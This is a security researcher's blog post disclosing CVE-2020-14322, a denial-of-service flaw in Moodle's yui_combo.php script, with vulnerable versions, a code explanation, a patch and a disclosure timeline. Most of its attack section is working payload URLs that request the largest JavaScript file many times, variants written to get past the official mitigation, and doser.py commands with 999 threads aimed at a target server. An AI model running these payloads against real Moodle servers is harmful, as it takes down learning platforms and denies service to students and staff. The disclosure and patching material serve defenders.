CVE-2020-14322 @ Moodle – Unauthenticated Denial of Service [ BREAKTIME ]

This blogpost is about a Unauthenticated DoS vulnerability which I found in Moodle in April, 2020. It was fixed in 13 July 2020 and was assigned CVE-2020-14322.

Legal disclaimer: Usage of this vulnerability for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. The researcher assume no liability and is not responsible for any misuse or damage caused by this vulnerability.

TLDR: If you request an especific url multiple times ( with a DoS tool like doser.py [2] , you can overload a server runing Moodle, just like the WP-DoS [1] but with this vul you can request the same file multiple times.
You can use this tool to check if your website is vulnerable :
https://breaktime.tadeu.work/testIfPatched.php

Example attack url :

{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js
  • Vulnerable versions
  • Understanding the vulnerability
  • Scenarios
  • Testing which scenario the target fits
  • DoSing
  • Profit ???
  • Patch
  • Benchmark
  • Timeline
  • References

Vulnerable versions

Versions 3.5.11, 3.6.9, 3.7.5, 3.8.2 of moodle are vulnerable.

Understanding the vulnerability

The vulnerability is in the file {$moodleRoot}/theme/yui_combo.php, the file is responsible for serving Js and Css files, You request which files you want and the script send it to you, after seeing this file I thought of the WpDoS vul [1]. Reading the code you can see somethings missing, like an array_unique() to prevent loading the same file more than once, so it’s just a question of seeing which file is bigger and load-it multiple times.

The script serve files from a specific dir, which is, {$moodleRoot}/lib/yuilib/. We have a file saying which files are present in this dir, it is : {$moodleRoot}/lib/yuilib/readme_moodle.txt. In the last moodle version ( 3.8.3 ) we have two main folders, 2in3 and 3.17.2, the biggest file from each folder are :
/2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js with 598643 bytes
/3.17.2/yui/yui-debug.js with 364147 bytes

The complete list of files is in : https://breaktime.tadeu.work/moodleFiles.txt

Scenarios

To make the DoS we need to know which scenario the webserver fits. I made some possible scenarios here :

(1) – Last updated contents of yuilib and no patch: This is the easiest to take down we just need to take the biggest file and request it the url/server limit ( in my case we can request 25 files without breaking the server limit )
Example :

{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js

(2) – Last updated contents of yuilib and patched: The patch is a mitigation patch, meaning that it can’t fix the issue it just make harder to exploit, in this case we need to know the limits of the patch, the official patch is limited on 1024 chars in get param and with array_unique(), so we can request the biggest files until explode the 1024 limit
Example :

{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-editor/yui2-editor-debug.js&3.17.2/yui/yui-debug.js&2in3/2.9.0/build/yui2-container/yui2-container-debug.js&3.17.2/yui-nodejs/yui-nodejs-debug.js&2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor-debug.js&2in3/2.9.0/build/yui2-calendar/yui2-calendar-debug.js&2in3/2.9.0/build/yui2-menu/yui2-menu-debug.js&3.17.2/yui-base/yui-base-debug.js&2in3/2.9.0/build/yui2-containercore/yui2-containercore-debug.js&3.17.2/loader/loader-debug.js&3.17.2/charts-base/charts-base.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-min.js&2in3/2.9.0/build/yui2-carousel/yui2-carousel.js&2in3/2.9.0/build/yui2-treeview/yui2-treeview-debug.js&3.17.2/yui-core/yui-core-debug.js&3.17.2/test/test-debug.js&2in3/2.9.0/build/yui2-button/yui2-button.js&2in3/2.9.0/build/yui2-yuiloader/yui2-yuiloader.js&3.17.2/yui-core/yui-core.js&3.17.2/graphics-vml/graphics-vml.js&3.17.2/graphics-canvas/graphics-canvas.js&3.17.2/loader-base/loader-base.js&3.17.2/graphics-svg/graphics-svg.js

(3) – Last updated contents of yuilib and custom patch: It’s hard to know what the custom patch is doing, but we can have some guesses, like limiting how many files can be loaded at once and maybe limiting the request size, and of course an array_unique(). So in this example we will hope that it’s only limiting files it can load at once, here are the 25 biggest files
Example :

{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable.js&2in3/2.9.0/build/yui2-editor/yui2-editor-debug.js&2in3/2.9.0/build/yui2-editor/yui2-editor.js&3.17.2/yui/yui-debug.js&3.17.2/yui/yui.js&2in3/2.9.0/build/yui2-container/yui2-container-debug.js&2in3/2.9.0/build/yui2-container/yui2-container.js&3.17.2/yui-nodejs/yui-nodejs-debug.js&3.17.2/yui-nodejs/yui-nodejs.js&2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor-debug.js&2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor.js&2in3/2.9.0/build/yui2-calendar/yui2-calendar-debug.js&2in3/2.9.0/build/yui2-calendar/yui2-calendar.js&2in3/2.9.0/build/yui2-menu/yui2-menu-debug.js&2in3/2.9.0/build/yui2-menu/yui2-menu.js&3.17.2/yui-base/yui-base-debug.js&3.17.2/yui-base/yui-base.js&2in3/2.9.0/build/yui2-containercore/yui2-containercore-debug.js&2in3/2.9.0/build/yui2-containercore/yui2-containercore.js&3.17.2/loader/loader-debug.js&3.17.2/loader/loader.js&3.17.2/charts-base/charts-base.js&3.17.2/charts-base/charts-base-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-min.js

(4) – Unknown yuilib contents and no patch: this start to become hard, you can see the changelogs from this and test manually for the paths, or load webpages from moodle and analize the requested yuilib files.

(5) – Unknown yuilib contents and patched: Good Luck.

Testing which scenario the target fits

To see if a server is patched is simple, just request to the script the same file twice and see if it includes the same file twice. I made a simple php script that test common yuilib files, if the server is patched and give to you some attackUrls. Just download it in : https://breaktime.tadeu.work/testIfPatched.php ( you can change the $jsonFiles with other folders other than 3.17.2 and 2in3 ).
You can also see the {$moodleRoot}/lib/yuilib/readme_moodle.txt to help you find which scenario it fits.

DoSing

To DoS you need a DoS tool ( duh ), I recommend doser.py [2] and an example command to take down the webserver without patch is :

python doser.py -t 999 -g "{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js"

And with the official patch is :

python doser.py -t 999 -g "{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-editor/yui2-editor-debug.js&3.17.2/yui/yui-debug.js&2in3/2.9.0/build/yui2-container/yui2-container-debug.js&3.17.2/yui-nodejs/yui-nodejs-debug.js&2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor-debug.js&2in3/2.9.0/build/yui2-calendar/yui2-calendar-debug.js&2in3/2.9.0/build/yui2-menu/yui2-menu-debug.js&3.17.2/yui-base/yui-base-debug.js&2in3/2.9.0/build/yui2-containercore/yui2-containercore-debug.js&3.17.2/loader/loader-debug.js&3.17.2/charts-base/charts-base.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-min.js&2in3/2.9.0/build/yui2-carousel/yui2-carousel.js&2in3/2.9.0/build/yui2-treeview/yui2-treeview-debug.js&3.17.2/yui-core/yui-core-debug.js&3.17.2/test/test-debug.js&2in3/2.9.0/build/yui2-button/yui2-button.js&2in3/2.9.0/build/yui2-yuiloader/yui2-yuiloader.js&3.17.2/yui-core/yui-core.js&3.17.2/graphics-vml/graphics-vml.js&3.17.2/graphics-canvas/graphics-canvas.js&3.17.2/loader-base/loader-base.js&3.17.2/graphics-svg/graphics-svg.js"

And if the webserver doesn’t have the patch neither limit the amount of files: (50 files)

python doser.py -t 999 -g "{$moodleUrl}/theme/yui_combo.php?2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js&2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js"

If it’s allowed to load more than 50 files (doesn’t exceed the url limit) try 100, 150 files in one request

This is going to overload the webserver quickly and it will become very dificult to access it.

Cloudflare returning that the server is down
Very intense cpu usage in cpanel.

You can also use this client-side tool : https://breaktime.tadeu.work/ just put the scenario and url and set time between requests

Patch

The patch is very simple, first you need to allow it to load only one file at time, so you need an array_unique, you need to limit how many files you can be loaded and limit the size of response.
You can download the (paranoid) patch in : https://breaktime.tadeu.work/patch.php

And the official patch in : https://breaktime.tadeu.work/officialPatch.php
Replace the /theme/yui_combo.php with the patch file

Benchmark

Without the patch, the server becomes slow in about ~5 seconds (200 requests) and timeout in ~60 seconds (1500~3000 requests)

With the patch, it become a little hard but the server becomes slow in ~10 seconds (400 requests) and timeout in ~100 seconds (2000 ~ 5000 requests)

Tested in a cpanel server with user limits
Server specs :
3x 2.20 ghz cores, 4gb ram, ssd speeds and 500mb/s bandwidth

Timeline

  • 16/04/2020 – Report sent to tracker.moodle.org
  • 17/04/2020 – Triaged
  • 01/06/2020 – Custom patch
  • 01/07/2020 – Official patch
  • 13/07/2020 – Official release
  • 20/07/2020 – Disclosure on security.moodle.org

References

[1] – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[2] – https://github.com/quitten/doser.py

[3] – https://tracker.moodle.org/browse/MDL-68426